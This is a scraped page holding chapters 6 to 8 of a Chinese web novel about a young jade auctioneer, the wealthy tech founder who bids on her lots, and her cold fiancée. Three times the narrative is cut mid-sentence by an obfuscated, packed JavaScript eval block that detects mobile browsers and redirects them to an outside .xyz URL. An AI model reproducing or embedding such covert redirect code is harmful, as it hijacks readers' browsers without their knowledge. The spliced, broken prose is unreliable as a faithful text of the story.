屁股忽然一阵剧痛,“啧”了一声回头,还以为吴经理敢跟他动手。 结果一回身,撞上顾总怒不可遏的眼睛。 “顾总……” 顾总双手叉腰,狐疑道:“你挡这儿干嘛呢?” Oliver犹豫地说了个“我”字之后,接不上话。 顾总问吴经理:“小姜呢?没事吧?” 段凝立刻把姜司意推出来,“小姜在这儿呢,半点事没有!” 顾总看姜司意不仅没事,手里还拿着拍品图录,大概明白发生什么事了。 林棘拍得了青黄玉龙凤佩,马上就要进行下一件拍品的拍卖。 顾总对吴经理说:“让万欣滚下来,小姜去。” Oliver“哎”了一声,最后挣扎道:“别啊顾总,现场直播呢,半路换人不合适。” 顾总:“你还知道现场直播呢?报价都给我报错,不嫌丢人啊?回头真出了问题这钱你填?” Oliver还在那儿说“可是”,一言不发的姜司意已经从他身边挤了出去,向主拍台快步而去。 Oliver:“你……” 吴经理挡在他身前,“别上火,能者居之。” Oliver:…… 万欣被换了下来,姜司意站上了主拍台。 场内正中央一顶华丽的吊灯晶管散发的光亮像场暴雪,从天花板上倾泄而下,铺在人群正中的林棘身上。 忽然登上了梦寐以求的舞台,姜司意心脏骤然紧缩。 这场春拍的气氛和人数,与先前她经历过的完全不同。 黑压压的人群让她仿佛置身考场,林棘就是主考官。 紧张感闷在心口,她不自禁地抿了下唇。 6. 第 6 章 无论有多紧张,都得往心里藏。 控不住场的拍卖师,没有资格站上主拍台。 姜司意撑起笑容,开始介绍下一件拍品。 对拍品的信息非常熟悉,图录她已经不知道看过多少遍,即便压力再大,就算脑子放空,此刻也能凭借肌肉记忆流畅地脱口而出。 收藏家们并不关心为什么拍卖半道上换了拍卖师,他们心里只有想要斩获的拍品。 当下拍卖的玉鱼三件,算得上本次专场最受瞩目的拍品,竞争者更多。 Oliver和万欣紧盯着姜司意,就等着看人一多,竞价的速度加快,她的报价跟不上。 可和万欣不一样,姜司意扛住了强压,语速流畅而自然,每一口报价都说得非常清晰。各个收藏家间的竞争气氛维护得很好,节奏很对,价格自然水涨船高。 “二十八万六千,还有加价的吗?二十八万六千。” 价格追到了高位时,姜司意也没着急落槌,连问了两次,依旧没有再加价的。 姜司意了解拍品,更了解委托人的心理价位。 二十八万六千,不是个让委托人开心的价格。 拍卖之前姜司意和玉鱼三件的委托人聊过,对方是嘉仕比的老朋友,对自己的藏品很有信心。曾放言,这玉鱼三件的成交价肯定不会低于三十万。 眼下还没到三十万,场子却开始变冷。 委托人就坐在台下,脸色不是很好看。 姜司意沉默了几秒钟,梳理了思绪之后,再次开口: “俗话说‘藏金不如藏玉’,这套玉鱼工艺登峰造极,有宋元遗韵。尾部的写意刀法,既保有西周的古朴神韵,又融入明代宫廷特有的巧思。古人以玉比德,这玉鱼三件正是‘温润而泽’的绝佳写照。成组传承的明代礼器玉鱼,全球公藏机构仅有三套,在私藏领域更是凤毛麟角。前年香港嘉仕比也拍出了一套玉鱼三件,到今年为止,已经增值三倍有余。” 她对拍品的了解程度和拿捏收藏家心态的介绍,让顾总欣赏地点了点头。 这引价的手法有大将之风,看来平时没少向资深拍卖师学习。 收藏家们玩的就是收藏价值,也都是各个领域的能人和领导者,最受不了姜司意这套说辞。 她刚刚介绍完,果然又有人开始加价。 号牌172号的是电话委托,前半程一直咬得很紧,等价格超过二十万他就没了动静,估计超过了心理预期。等姜司意介绍完,估计还是想要,不甘心,继续加入战局。 172号举牌后,现场又安静了几秒钟。 只有一方加价,拍卖场依旧是一潭死水。 就在姜司意大脑飞速转动,想要继续介绍拍品亮点引价时,又一个号牌缓缓举起。 99号,林棘。 林棘:“三十五万。” 她一口加到三十五万,172号再次举牌,气势汹汹地加到三十六万。 林棘不紧不慢地举牌,和172号交替加价。 一来二去,刚刚如死水的现场完全被盘活了。 很快价格就破了四十万。 玉鱼三件的委托人就在现场,那张臭脸一听到金钱流动的声响,立刻又绽放出笑容。 最后价格被抬到了五十二万。 172号那头没声了,估计实在加不动了。 林棘则将99号号牌随手放在沙发边的茶几上。 金石玉器这场所有拍品都不算春拍重头戏,对很多有实力的收藏家而言都是添头。 添头归添头,不同的人花在添头上的上限也不相同。 显然,别人在杀个你死我活,对林棘而言就是随便买买,还买到了绝对能让委托人满意的价格。 此前姜司意完全没想到林棘会对拍卖感兴趣,还会出现在她主持的春拍上。 原本以为人生的第一场春拍,会在满室陌生人的氛围中独自消化。 没想到还是有见证者。 更没想到的是,这个见证者居然是林棘。 不太相熟的两颗心,被看不见的线相连,心跳在这一刻同频了。 姜司意落下春拍的第一槌,成交。 …… 整个金石玉器场几乎成了99号贵宾专场。 林棘不紧不慢地举牌,把姜司意手中所有拍品的价格轻轻松松托到高位。 在后台紧盯现场直播画面的万欣双手紧扣在一起,努力压抑着身子的轻颤。 再这样下去,姜司意这场春拍的佣金得涨到六位数了。 万欣对Oliver道:“姜司意不会认识那个99号吧?” Oliver心里也觉得奇怪,嘴上道:“怎么可能,你知道对方是谁吗?” “谁?” “林棘,幻维科技的创始人兼董事长。” 听到“幻维科技”这四个字,万欣一怔。 “是我知道的那个幻维科技吗?” “就是你知道的那个幻维科技。” 幻维是当下最炙手可热的能源公司,电池制造起家,海外上市之后股东们一夜之间成了富翁。 如今幻维的业务边界越来越庞大多元。 万欣今天开着上班的新能源电动车就是幻维旗下卖得最好的产品。 早就听说幻维科技的创始人是位非常年轻的大美女,没想到眼前这位比她想象的还要年轻,还要美。 万欣安心了一些,“那姜司意肯定没法认识这样的大人物。” 最后一件拍品也顺利拍出,落槌的那一刻,姜司意总算舒了一口气。 春拍属于她的舞台部分完美落幕。 …… 晚间,嘉仕比拍卖行第一宴会厅。 按照惯例,每场大型拍卖结束后,都会举办一场after party,收藏家们都是座上宾。 这种after party除了回馈客户,更是为了加深和客户们的交流,巩固业务关系,有些私洽就是在这里完成。嘉仕比内部员工们都知晓after party的重要性。 拍卖不仅是技术活,更是体力活。 注意力太过集中的后果就是下了主拍台后的疲倦。 姜司意在休息室小睡片刻,被段凝叫醒,说吴经理到处找她,让她现在就去宴会厅。 以往的after party没她的份,今年她是大功臣,自然不能落下。 姜司意简单洗漱,整理了一下头发和衣服,回复了姐姐从海外发来的祝贺微信后,跟段凝一起往宴会厅去。 两人自长廊中穿过,音乐声和人语声从前方宴会厅中传来。 温暖的碎金洒在老花图案的地毯上,一墙之隔,便是充满了欲望的纸醉金迷。 姜司意问段凝:“你之前帮我拍了视频了吗?” 段凝挽着她的胳膊笑道:“拍了拍了,你交代的我能不给你办妥吗?拍得巨美,一会儿微信上发给你,包你家宋小姐满意。我说,你心思能不能放在正道上,今晚你的大金主也来了。” 姜司意:“我的大金主?” “就是99号啊。司意,自己人,你给我交个底,那大金主你认识不?就你去睡觉这段时间,已经有好几拨人过来打听大金主和你的事儿了,我都不知道该怎么回答。” 姜司意实话实说:“不熟。” 段凝:“不熟,那就是真的认识了!” 姜司意:“拜托,从小到大我和她说的话加在一起可能都没有十句。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563393|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段凝听人说话只听自己想听的那部分,“什么,从小就认识?居然还是青梅竹马?” 姜司意:…… 一进宴会厅,姜司意根本没有刻意找人,一眼就看到了人群中的林棘。 林棘套着件袍式羊绒大衣,腰带有些随意地系在腰间,修身的款式让人很难不注意到她优越的腰身。长身玉立,盈盈细腰半点不显脆弱,更有种自律的秩序感。 她身量很高,本身就有一米七五,还不顾别人死活穿一双五厘米的高跟鞋。 黑发在脑后盘起发髻,成熟的韵味让周围的人无暇顾及其他,目光成群结队,相当直白地落在她身上。 身处焦点中心的女人似乎浑然不觉旁人的注视,微敛着薄眼皮,平静的眼眸寒浸浸的,百无聊赖地轻转手中清代白玉配饰。 那是一只养尊处优的手,比玉温润细腻,手腕侧边骨节上有一颗淡淡的痣。 温润纤长的指尖轻托着白玉,让看客分不清哪一件才是真正的艺术品。 不怪姜司意的眼睛在第一时间下意识捕捉到她。 林棘头顶上仿佛有盏灯,不是宴会厅上方的威尼斯琉璃灯,而是上帝专门为她开的聚光灯。 分辨率都被眷顾着调高了,相比于旁人模糊的五官,她的脸精致到耀眼。 顾总手里端着两杯酒,一杯是他自己的,一杯是他把白玉送给林棘把玩时,为了方便她,把她手里酒接了过来。 在董事会上战无不胜的顾总,站在林棘身边活像个侍应生。 郑先河也在,不知喝了多少酒,满面红光地向顾总说着和林棘这些年的合作,兴奋之情溢于言表,一副与有荣焉的姿态。 段凝拽着姜司意的手,惊讶道:“什么,她就是郑总幕后老板?天呐,我这张嘴怎么说什么都成真?你看看,我说什么来着,就是漂亮多金的小姐姐,你居然还说人家头都秃了,哪秃了?这一头浓密黑发比你茂盛。” 姜司意一时无言以对。 她也没想到郑先河的雇主就是林棘,不然给她十个胆子她也不敢说林棘头秃。 Oliver带着书画部的同事也来凑热闹。 一群男人穿着光鲜亮丽,在林棘周围徘徊,试图找到机会上前搭话。 要是能要到林棘的微信就更好了,今夜也不虚此行。 姜司意想到宋缇生日宴那夜林棘对她的照顾,以及方才拍卖会上的帮助,觉得自己无论如何都得上去打个招呼,道个谢。 可这群人把林棘围得水泄不通,想接近她比高峰期挤进地铁车厢都难,最热门的旅游景点也不过如此。 姜司意心想着要不然一会儿等人少些再过来,错峰道谢。 刚要走,身后一道清越的女声唤出她的名字。 “姜司意。” 姜司意蓦然回头,见林棘从人群中向她走过来,带着整个宴会厅的视线一寸寸向她身上聚合。 段凝拿了杯酒,看到林棘居然叫住了姜司意,喝进嘴里的酒都忘了往下咽。 Oliver和万欣的笑容凝固。 连姜司意本人都怔住了。 近距离下,姜司意嗅到林棘身上浅淡的冷香。 工作关系,姜司意接触的人很多,各式各样昂贵又小众的香水味都闻过,林棘的却给她一种陌生感。 清淡间有点白檀的气息,不知道是哪款香水,很好闻。 淡香在姜司意的鼻尖深深浅浅地弥漫。 而后,林棘当着所有人的面,说了一句谁也没料到的话。 林棘:“那晚你怎么就走了?” 所有人听到这句话俱是一怔,连姜司意本人都睁圆了眼睛。 “咳。”段凝更是直接把酒给喷了出来,呛得差点撒手人寰。 7. 第 7 章 方才还拥在林棘周围黑压压的人群,在顾总的暗示下慢慢退到了其他地方。 人来人往的宴会厅内,她们自动拥有了一隅独处的空间。 林棘缓缓转动着手里的酒杯,浅蜜色的酒液上浮着光斑。 姜司意的两根食指则暗暗纠缠在一起。 为什么要给她们单独相处的空间?真是误会大了。 在她心里林棘是像长辈一样的姐姐,传奇加身,是圈子里最顶层的高岭之花,任何情感方面的玩笑放在她身上简直是亵渎。 可看林棘本人似乎没觉得有什么不妥,周围那些兴味十足的眼神和低语被她自动忽略,姜司意反而开始怀疑是不是自己想太多。 姜司意脑子里如狂风过境一片狼藉。 而此刻林棘的注意力则被她的脖颈吸引。 近看,这身旗袍仿佛为姜司意而生,立领如柔软的玉兰花瓣托起温润的下颌,手工绲边环着优雅的天鹅颈。 在主拍台上镇定从容主控全场的新锐拍卖师,此刻站在林棘面前,又变回了青涩的女孩。 一向寡言的林棘率先开口。 “伤好点了吗?” 姜司意心里多少有些庆幸林棘的主动,不然她真不知道说什么才能破除眼下的尴尬。 只是,这问话让她有些迷茫。 “伤?” 林棘视线下沉。 “那晚手不是被划伤了吗?” 姜司意是真没想到,那夜环境昏暗得很,这么小的伤连她自己都后知后觉,林棘居然能发现。 姜司意有些不好意思道:“早就好了。” 不知道林棘和别人说话时是不是也是这样,直视着眼前人。因为身高差,让听者自动脑补被居高临下的审视意味。 姜司意本来就比她矮十厘米,为了拍卖的时候能站得轻松些,特意选了一双没什么跟的鞋,这会儿得微抬头看林棘,气场矮了好几截,说话也不受控制嗑吧了几下。 “我,那晚回去找你了。看你在打电话就没好打扰。后来……” 后来就直接离开了。 离开前没再回去找林棘,是因那夜宋缇的冷淡实在让她心灰意冷,糟糕的情绪难以隐藏,面对林棘恐怕也聊不出什么让人开心的话题,更不好意思向半生不熟的人发泄自己的私人情绪。 与其去给人添堵,不如自行消失。 姜司意找了个借口道:“后来还有点工作要做,就提前走了。” 都过去这么久了,忙到没想起来跟林棘解释一句,就这样晾着对方,姜司意惊叹于自己的大胆。 不知林棘是不是因为那晚的事不高兴,现下来兴师问罪了,姜司意语调越来越轻软: “抱歉,我是不是耽误什么事了?” “没有。”林棘说,“我只是想给你创可贴。” 居然是这样。 那么点小伤被林棘发现不说,还让她放在心上了。 被人直接关怀的温暖,对于现在的姜司意而言有些陌生。 更何况关怀她的人还是林棘。 陌生感很快变成了让指尖不自觉蜷缩的紧张,耳朵烫红一圈。 生怕林棘发现,姜司意微微侧身藏起耳朵,解释说只是划破了个小口,已经愈合了。 可惜她藏好了一边耳朵,无暇顾及的另一侧完全暴露在林棘面前。 渐渐升起的红晕正正好好送到林棘眼里,加上她屏息时轻轻抿唇的习惯,很容易就发现她在紧张。 林棘眼神中浮起无人察觉的落寞。 长大了,还在怕我吗? 短暂的沉默后,姜司意的气息起伏了三道,搜肠刮肚终于找到了新的话题。 “没想到你对拍卖也有兴趣。” 话题转得好生硬,挂在脸上营业式的笑容也很假。 姜司意在心里祈祷林棘不要拆穿她,现在的她经不起拆。 今天的姜司意是有些好运在身上的。 林棘还真没有拆穿她。 她递过来什么话题,林棘就接什么话题。 “我奶奶有一枚青黄玉龙凤佩遗落在外,和你们春拍的这件有点像。” “有点像?” 姜司意眨眨眼。 意思是不确定? “嗯,那枚玉佩奶奶送给了我,可惜,因为一场意外丢失了。” 说到此处,林棘眼眸蒙上一片不易察觉的灰暗。 “奶奶过世多年,也不知她的宝贝在外经过了谁的手,又落在何处。这种玉佩大多相似,不好区别。丢失时我年纪太小,不太记得了。所以市面上只要有相似的玉佩,我都会买下收藏。” 关系太生,这么隐私的话当然不好继续追问。 转念想到,难怪万欣在漏过这件拍品时林棘会冷嗤一嘲讽。 还以为是看在宋缇的面上在帮她。 是自己自作多情了。 姜司意:“有照片可以比对吗?” “没有清晰的照片。” “那,以后我多多帮你留意相似的拍品。” “谢谢。” 又是一阵短暂的沉默。 不熟的人之间意外遇到时是这样的。 姜司意正在努力加载“成熟的社会人”属性,搜肠刮肚想要让场面别这样冷下来,还未找到合适的新话题,就听林棘道: “今天表现得很出色,恭喜。” 说完,她放下酒杯。 似要离开。 姜司意肩膀往下松了松,笑道:“谢谢。那……你要走了吗?我送你出去。” 林棘其实还没要走,放下酒杯只是她不太喜欢喝酒,这儿的香槟也不合她口味。 可姜司意送客送得这么积极,真心实意松了口气的笑容落在林棘眼底,有点扎眼。 林棘说:“不用送。” 说完,往不远处看了眼。 林棘的助理收到她的暗示,从人群中走来,把围巾递给她。 她一边围围巾一边往外走。 还真走了。 走到电梯口时,姜司意快步跟上来说:“那个……今天如果不是你帮忙的话,拍卖不会这么顺利的。” 林棘回眸,等着她继续往下说。 “就是,那几件拍品,谢谢你帮我引价。” 无论是出于什么原因,这个谢一定要道。 林棘一边整理围巾一边说: “我是真心想买,你的介绍让我心动。宝贝就该被懂它、珍视它的人收藏。落在俗人手里,可惜了。” 姜司意觉得自己今天心思有点没边,听什么都觉得话里有话。 无论如何,林棘的夸奖让姜司意开心。 趁着现在气氛挺好,姜司意壮着胆子说: “我有件事想征求你的意见。” 林棘投过来略带意外的目光。 姜司意:“以后我能不能跟着宋缇叫你表姐?” 和宋缇订了婚,以后和林棘是抬头不见低头见的关系,不好一直“你”来“你”去的,不礼貌。 叫“表姐”就亲切多了。 原本以为林棘会非常有亲和力地答应,没想到刚刚还挺温馨的气氛陡然变冷。 “不能。” 冰冷的两个字,一口回绝。 姜司意:…… 要不是姐姐姜司聆的视频正好打过来,姜司意都不知道该怎么逃离这可怕的现场。 姜司意握着震动的手机,“我,我接一下视频。我就不送你出去了,晚安。” 没敢再去看林棘的反应,头也不回转身就逃。 林棘望着姜司意背影,手在口袋里轻轻抚摸着一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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BOSS今晚心情看着挺不错的,直到刚才那声“表姐”。 助理很难不好奇,BOSS为什么这么抗拒当这个“表姐”? 直到姜司意的身影消失在拐角,林棘才默默收回目光。 这拍卖行什么都挺好,就是电梯慢的出奇。 电梯终于来了,梯门敞开,林棘没进去,目光在轿厢内逡巡。 轿厢不算大,没人,散发着一股淡淡的香味。 这是个一眼看过去就很洁净、舒适的电梯。 但林棘在原地没动,直到门合上,她也没走进去。 改走楼梯。 助理跟在她身后踏着台阶下楼时心想着,BOSS还是不喜欢坐电梯啊。 . 姜司意这一晚过得真热闹,就没消停过,被同事领导们围堵,或旁敲侧击或直截了当,就想知道她和林棘到底是什么关系。 姜司意说她俩没什么关系,没人信。 吴经理神神秘秘地笑道:“小姜这还低调上了。” 姜司意这才知道什么叫百口莫辩。 幸好有段凝帮她狡辩。 段凝:“大家别开我们司意玩笑了,她已经有未婚妻了,我证明,不是棘董。” 段凝说得非常认真,众人总算心不甘情不愿地相信大金主和他们拍卖行有缘无份,用“孺子不可教”的眼神惋惜地看姜司意。 结束应酬,姜司意赶着最后一班地铁好不容易回到家。 遛雪球的时候,赵珺的微信又追过来,提醒她马上就是家宴了,让她无论如何要带着宋缇准时出席。 春拍正好结束,她没了不回去的借口,索性继续施展鸵鸟神功,假装没看到,不回。 反正上次赵珺没回她,这次轮到她已读不回,扯平。 把春拍的视频和照片发给宋缇,等了一会儿,她没回复。 宋缇在伦敦,现在应该是她工作的时间点,没回很正常吧…… 姜司意也累了,洗完澡躺到床上。 总算要结束这漫长的一天,手机又开始孜孜不倦地震动。 第一反应是赵珺又来催,打开一看,不是赵珺也不是宋缇,而是段凝。 段凝发了一堆照片过来,全都是after party上她和林棘单独相处时的偷拍。 姜司意回了一个问号。 段凝:【画面太美,没忍住多拍了几张。你不知道Oliver和万欣他们有多酸,脸都气歪了。嘘,别说话,不用感谢我,默默收藏就好。】 本来都已经有点睡意,看到照片里的林棘,让她忽然想起了自己上赶着被林棘冷酷拒绝的那句“不行”。 救命。 头皮发麻,脚趾又开始疯狂动工,在床上蜷缩成虾米的的姜司意睡意被尴尬冲得一干二净。 好不容易忘记了,结果这么一提醒又想起来。 一时的外向换来一生的内向。 睡不着了。 在床上翻来覆去的姜司意夺过手机,回复段凝:【我真谢谢你。】 8. 第 8 章 接下来的一段时日,姜司意很忙。 忙着联系收藏家,鉴定拍品,哪儿有活哪儿就有她。 忙点好。 忙起来就能暂时遗忘“表姐”事件,遗忘试图打包离开地球的源头。 嘉仕比是按场次给拍卖师结算佣金,春拍的佣金已经转到姜司意账户里了,是她职业生涯第一笔六位数佣金。 姜司意请段凝和吴经理在公司边上的米其林餐厅吃了一顿晚餐。 段凝很早就想来这家餐厅尝鲜,后来一打听人均价格,忽然也没那么想吃了。 今天托了姜司意的福,总算能来梦寐以求的餐厅打卡,全程埋头干饭。 吴经理看她穷凶极恶的样子,点评道: “小段,你上班的时候能有干饭这么认真的话,估计早就上春拍主拍台了。” 段凝:…… 感觉嘴里的澳洲牛肉都不香了。 和段凝的勤勤恳恳比起来,吴经理的心思完全没在吃上,手里的筷子拿起来之后就夹了只脆皮鸽腿到碗里,没来得及吃,嘴都用来夸姜司意。 “平时看你文文静静的,没想到一上主拍台气质完全不一样。咱们拍卖师最重要的就是冷静,要有掌控全局的气场,嘴皮子溜,脑子还得清醒。万欣就不行,收藏家气场一强就能把她压下去,就乱了,这怎么能控得了场?一乱就出错,一错就更慌,这种心理素质是当不了拍卖师的。小姜,你是我这些年见过的年轻人里职业素养和个人气质最适合干这行的,你的职业天花板一定很高,我对你的未来充满期待。” 吴经理在嘉仕比五年多,之前在别的拍卖行也工作了七八年。入行这么久也带过不少后辈,能得到她这么真情实感夸奖的,姜司意是第一个。 姜司意有些受宠若惊,心中更是感慨。 想到了妈妈。 姜司意母亲过世得早,察觉到自己时日无多的那年,丈夫还在外沾花惹草心思从不在家里。大女儿则是一颗心全扑在艺术创作上,别说照顾妹妹,甚至还要小四岁的妹妹帮她收拾屋子。 妈妈临终前最放心不下的,就是自己这个小女儿。 姜司意永远都记得母亲躺在病床上,浑身插满了管子,干枯的手握着她,泪流不止,用沙哑无力的嗓音断断续续地说: “妈妈要是不在了,你该怎么办啊……谁来照顾你,谁来保护你?” 母亲是带着遗憾和忐忑过世的。 这些年,母亲含着眼泪和担忧的双眸从未从她的记忆中消失。 当她懦弱时,想要打退堂鼓时,都会想起母亲临终前握着她依依不舍的手。 所以,无论是埋头苦学,还是带着母亲的遗照搬出姜家自力更生,都是为了能走出踏实的一步,让母亲在天之灵能安心。 这些年姜司意对自己在学业和专业上的要求极为严格。 别人在玩在享乐,在挥霍时光的时候,她一直在督促自己多看一些,多学一点。 枯燥的青春,一点一滴的积累,终于在春拍上得到了回报。 吃完饭,段凝和吴经理都回家了,姜司意打算好好奖励自己。 就奖励自己今夜不再紧绷,能无忧无虑挥霍夜间的时光。 她去看了一场没有什么营养的喜剧,只是从头笑到尾,吃着爆米花可乐,单纯的开心。 看完电影后买了一大堆代币,抓她最喜欢的狗狗玩偶。 人逢喜事精神爽,手气也变得格外好。 一堆代币见了底,换回六只狗狗。 就算有些狗狗脸都歪了,在姜司意看来也格外可爱。 路过宠物店,又买了一堆给雪球的零食、玩具和小衣服,整个背包塞满,手里也挂满购物袋,这才心满意足地回家。 . 宋缇终于从伦敦回来了。 按照惯例,一回国就会和一帮朋友吃吃饭,聚一聚。 这次依旧叫上了姜司意。 整场饭局宋缇的手机就没消停过,一会儿一震。 姜司意不是个喜欢窥探人隐私的人,就算是自己的未婚妻她也会尊重对方的个人空间。 可她俩就挨着坐,实在很难不注意到一条条肆无忌惮涌入宋缇手机的微信。 宋缇的朋友几乎都在这儿了,她在跟谁发微信? 宋缇将手机放到口袋里,耸耸肩道:“工作上的事儿。离了我公司恐怕都转不了。” 姜司意:“有什么我可以帮得上忙的么?” 宋缇拍拍她的手背,“你没在这么大的企业里工作过,大企业的运作你也不懂,别操心了。” 姜司意低头喝饮料,没再说话。 吃完饭,宋缇主动说送她回家。 熟悉贴心,熟悉的艳羡声,回家这一路车厢内也是熟悉的安静。 安静到如坐针毡的感觉再一次袭来。 姜司意在大脑里搜索着,努力回忆最近听说过的好玩的事儿,跟宋缇分享。 可无论她说什么,宋缇都只是淡笑几声,反问一句“是吗”,算是回应。 姜司意想起方才吃饭的时候,谢舒旖她们提及的热门电影,宋缇说她最近忙得要命,还没时间去看。 姜司意问她周末有没有时间。 “一起去看电影吧。” 宋缇的指尖在方向盘上轻盈地点了点。 姜司意给出了个建议,车厢里闷人的沉默还在继续。 一直到下个红绿灯,宋缇将车慢慢停在队尾,才望着前方的车龙缓缓开口。 “你决定就好,我都行。” 她的语速依旧很慢很柔和,还附带姜司意熟悉的笑意,亲和又圆融,仿佛是一位温柔体贴的伴侣。 但一如既往模棱两可,不做任何决定的话,让人心里升起一股无名的焦躁和挫败感。 刚才吃饭的时候,宋缇和她的朋友们明明有那么多话说,一同出游的计划都已经安排到明年。 面对她,却提不起交谈的兴致。 要说冷淡,每次聚会宋缇都喜欢叫上她,让她以“未婚妻”的身份招摇过市,甚至是炫耀。 说热情么,两人独处时三言两语的冷淡,以及空空荡荡的聊天记录又跟“热情”挨不上边。 到家后,去遛雪球之前,姜司意想了想,还是给宋缇发了微信。 【谢谢你送我回来,周六晚上那场可以吗?可以的话我现在就去买票。】 等了一会儿,没回复。 遛完狗回来,帮雪球擦脚的时候,突然有微信进来。 姜司意立刻打开看,是公司旗下鉴宝公众号的推送。 刚刚激起的心立刻跌回谷底。 时间一分一秒地过去,宋缇依旧没有回复她。 所有的话题、建议和问候,统统石沉大海。 心事重重地洗完澡躺到床上,感觉心口被一股沉甸甸的低气压压着,透不过气,睡意迟迟无法降临。 内耗的疑问不断涌上心头。 别的情侣是不是也没有经常联系?大家都有自己要做的事,未必喜欢一起看电影吧。 还是说…… 姜司意睁开眼,望着被夜灯照得昏暗的天花板。 还是说我真的很无聊,让宋缇无法回答,不想交流? 无论摸多久的耳朵,都找不到睡觉的感觉。 宋缇像迷雾,像让人失去方向的迷魂阵。 浓雾里隐约有些笑声,姜司意甚至无法分辨那笑声是友好的笑意,还是不怀好意的嘲弄。 . 自从春拍上表现出色,姜司意就成了日常专题拍卖的主力拍卖师,连续几场拍卖都由她主拍。 拍卖师的工作不止是要主持拍卖。日常鉴定拍品、联系客户、了解各位收藏家的兴趣爱好也是重中之重。 这段时日姜司意联系客户很频繁,赵珺电话打进来的时候,她正拿着和田碧玉手串,以为是客户,没看手机屏幕直接就接起来了。 【喂,司意啊,你几点到?一家人都等着你开饭呢。】 姜司意动作顿了顿,听出了是赵珺的声音。 算算日子,今天该是姜家家宴。 前段时间她没搭理,没想到赵珺这么锲而不舍,直接打电话过来了。 【我现在还在公司,今晚有一批新的拍品,得忙到挺晚的。】 姜司意打算用工作这个万能借口搪塞过去。 没想到赵珺气势汹汹道:【工作什么时候不能做?今晚爷爷奶奶和二姑她们都来了,Stella也等了你半天啦。】 姜司意一怔,【Stella?】 【对啊,Stella人早过来了,还带了一大堆礼物,这孩子可真懂礼貌。现在正在陪你弟弟聊天呢。】 姜司意赶到姜宅时,果真看到了宋缇。 赵珺的儿子姜骋正带着宋缇在他车库前,抱怨他的摩托车和川崎新款 Versys 1100比起来就是彻头彻尾的垃圾。 说人家新款的发动机如何丧心病狂,那才是真猎豹,他这辆就是只让人笑话的小猫咪。 姜骋指着自己的摩托道:“骑着它我都没脸出门!” 全程宋缇都保持着微笑,不做任何点评。 看到姜司意的时候,轻飘飘分来一个眼神。 赵珺从佣人那儿接过果盘,言不由衷地骂了儿子两句。 “跟你Stella姐说这些做什么。你这些摩托少骑,你爸不喜欢。每天骑摩托出事的新闻还少么?” 姜骋往一旁的户外沙发一坐,双腿大喇喇地撇成直角。 “我能和那些蠢货一样?” 赵珺问:“你说的那个什么1100,多少钱?” “不贵,就十来万。不过国内还没卖,得托关系在国外买。” 说着,姜骋目光转向宋缇。 “Stella姐,听说你经常去伦敦出差,能不能帮我打听打听,看看哪儿有购买渠道?有的话麻烦你先帮我预定,回头给我银行账号,我让我爸给你转账过去。” 赵珺打了儿子一下,“你说你,不懂事,给你Stella姐找什么麻烦。你都开口了,你Stella姐还能真管你要钱?多为难人家。” 宋缇还没回应,姜司意冷着脸道:“既然知道为难,就不该开口。” 赵珺斜眼瞧过来,姜骋“啧”一声,没好气道: “有你什么事?我让Stella姐和我爸送我个礼物,你眼馋什么?Stella姐,别理她,你就放心帮我预定,我让我爸回头给你包个大红包。” 姜骋一口一个“我爸”,完全不觉得现场还有另一个姜家的孩子。 话都说到这份上了,宋缇回应道: “好啊,回头我让我伦敦的同事帮你问问看。” 赵珺握着宋缇的手,亲热地拍她的手背,双眼眯成两道月牙。 “Stella啊,孩子都被你惯坏啦。” 姜骋:“什么孩子,我都十八了好吧?” 宋缇但笑不语,目光不咸不淡地落在姜司意脸庞上。 姜司意只觉得脸上发烫,羞耻感让她移开视线。 . 和姜司意想的一样,今天的家宴就是为了宋缇而设。 席间,赵珺全程拉着宋缇的手,而姜骋坐在宋缇另一侧,两人夹着她,把姜司意挤到另一头。 姜司意原本打算走,她根本就不想来姜家。 可宋缇还在这儿。 而且话里话外那意思,还是赵珺特意去宋缇公司,喝了两壶茶才把她请回姜家的。 宋缇被抓到姜宅,又被那对母子联合起来敲竹杠,人还好脾气地陪聊,姜司意哪有脸走,只好也留下来了。 赵珺坐在宋缇身边嘴就没停过,一直旁敲侧击问她准备什么时候结婚,婚礼一定要把所有的亲朋好友都请来,风风光光大操大办。 爷爷奶奶说他们的礼金都准备好了,金戒指金手镯金项链全部打齐,就等着她俩把日子定下来。 宋缇全程挂着笑脸,不管什么问题问过来,她都只是回以笑容,似嗯非嗯地哼着气,就是不正面回答问题。 一直没得到答案,“一家之主”姜骆坐不住了。 今晚摆了这个大的谱,就是为了把这婚定下来,以解他心头大患。 眼看着宋家女儿在这里四两拨千斤,姜骆清了清嗓子,放下筷子,直视着宋缇道: “小宋,你和我们司意订婚有三年了吧,这三年来叔叔我可从来没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563395|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 催过婚事,对不对?叔叔老了,从你们订婚那日起,我就一直在期待司意穿上婚纱的样子。今天你能不能给叔叔一个准话,今年什么时候把证领了?打算几月份办酒?” 姜骆喝酒上脸,今晚特意灌了自己两杯茅台,一张浮着酒气的脸让他看上去增添了一份自以为的家长威严。 